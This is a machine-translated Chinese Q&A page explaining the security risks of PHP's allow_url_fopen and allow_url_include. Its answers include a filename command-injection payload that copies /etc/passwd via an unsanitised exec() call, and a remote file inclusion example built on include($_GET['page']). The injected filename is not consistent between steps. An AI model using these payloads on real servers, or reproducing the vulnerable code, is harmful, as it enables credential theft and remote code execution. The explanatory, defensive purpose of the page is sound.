什么是 PHP allow_url_fopen 安全风险?

信息安全 php 风险
2021-08-19 05:28:26

最近我正在阅读一篇关于file_get_contentsHTTPS的文章。

引起我注意的一个部分是:

当然,allow_url_fopen 设置也存在启用远程文件执行、访问控制绕过或信息泄露攻击的单独风险。如果攻击者可以将他们选择的远程 URI 注入文件函数,他们可以操纵应用程序执行、存储或显示获取的文件,包括来自任何不受信任的远程源的文件。还值得记住的是,此类文件提取将来自本地主机,因此能够绕过基于本地服务器限制的访问控制。因此,虽然默认启用了 allow_url_fopen,但您应该毫不犹豫地禁用它以最大限度地提高安全性。

我有两个问题:

  1. 攻击者可以做什么allow_url_fopen以及他将如何做?
  2. 总是allow_url_fopen存在安全风险还是仅当您在 fopen 包装器中接受用户输入时?

其他有趣的链接

3个回答

使用它的示例攻击场景allow_url_fopen允许我下载您的密码文件:

  1. 假设您的应用程序允许我提供远程图像的 URL,您将下载并用作我的头像图像。
  2. 我提供以下网址: "http://my.malicious.example.com/sbwoodside.jpg;cp%20/etc/passwd%20downloads/foo.jpg;"
  3. 您的应用程序用于allow_url_fopen下载文件并将其存储为"sbwoodside.jpg;cp%20/etc/passwd%20downloads/passwords.txt;". 我现在已经成功地将命令注入到文件名中。
  4. 您的应用程序想要压缩和调整我的图像大小,因此您在命令行上使用 ImageMagick,例如 exec("magick convert -size 128x128 ".$filename." ".$filename.".128.jpg")
  5. exec实际执行什么如果您还没有清理文件名,那么它会在 shell 上执行以下操作:

magick convert -size 128x128 sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt; sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt;.128.jpg

由于;是在 shell 上分隔的命令,因此 shell 会自动将其分解为以下单独的命令:

magick convert -size 128x128 sbwoodside.jpg cp /etc/passwd downloads/passwords.txt sbwoodside.jpg cp /etc/passwd downloads/passwords.txt .128.jpg

现在我只是去http://yourapp.com/downloads/passwords.txt下载你的密码文件。当然,我可以做任何我想做的事情,因为我正在作为您系统上的 Web 服务器执行命令。

这取决于你!您是如何设计您的应用程序的,您在所有软件开发生命周期中是否考虑过安全性?

考虑下面根据请求参数(页面)加载网页的不安全代码:

<?php
include($_GET['page']);
?>

现在考虑攻击者使用以下方法包含恶意 PHP 代码:

?page=http://example.com/badcode-php.txt

然后,他可以绕过您站点的所有安全措施并执行任何操作(访问本地文件、上传其他文件等)。

所以它建议关闭allow_urL_fopenallow_url_include最大限度地减少远程文件执行攻击。

如果它默认启用,它不会是一个安全漏洞。只需对所有传入数据遵循安全做法,您就可以了。

对于新手来说,值得说明的是,如果同时启用了 allow_url_include 和 allow_url_fopen,除非您实际编写代码以使用“include”语句或通过“fopen”或其他方式访问 URL,否则它不会对您的代码产生影响文件访问命令。只要您的服务器配置为仅放弃 PHP 文件的输出而不是 PHP 本身,就没有人能够从远程服务器包含您的 PHP 函数。他们将只能请求 PHP 页面或其他内容,但代码本身将永远不可见。

这些属性,即使它们处于打开状态,也不会启用会暴露您的 PHP 代码的请求。查看您的服务器的文档以获取更多详细信息。它已经写了很多次,没有人提起它,但是不要在你的 PHP 中执行通过 GET 或 POST 请求发送的命令。在将任何数据发布到文件或页面之前对其进行转义。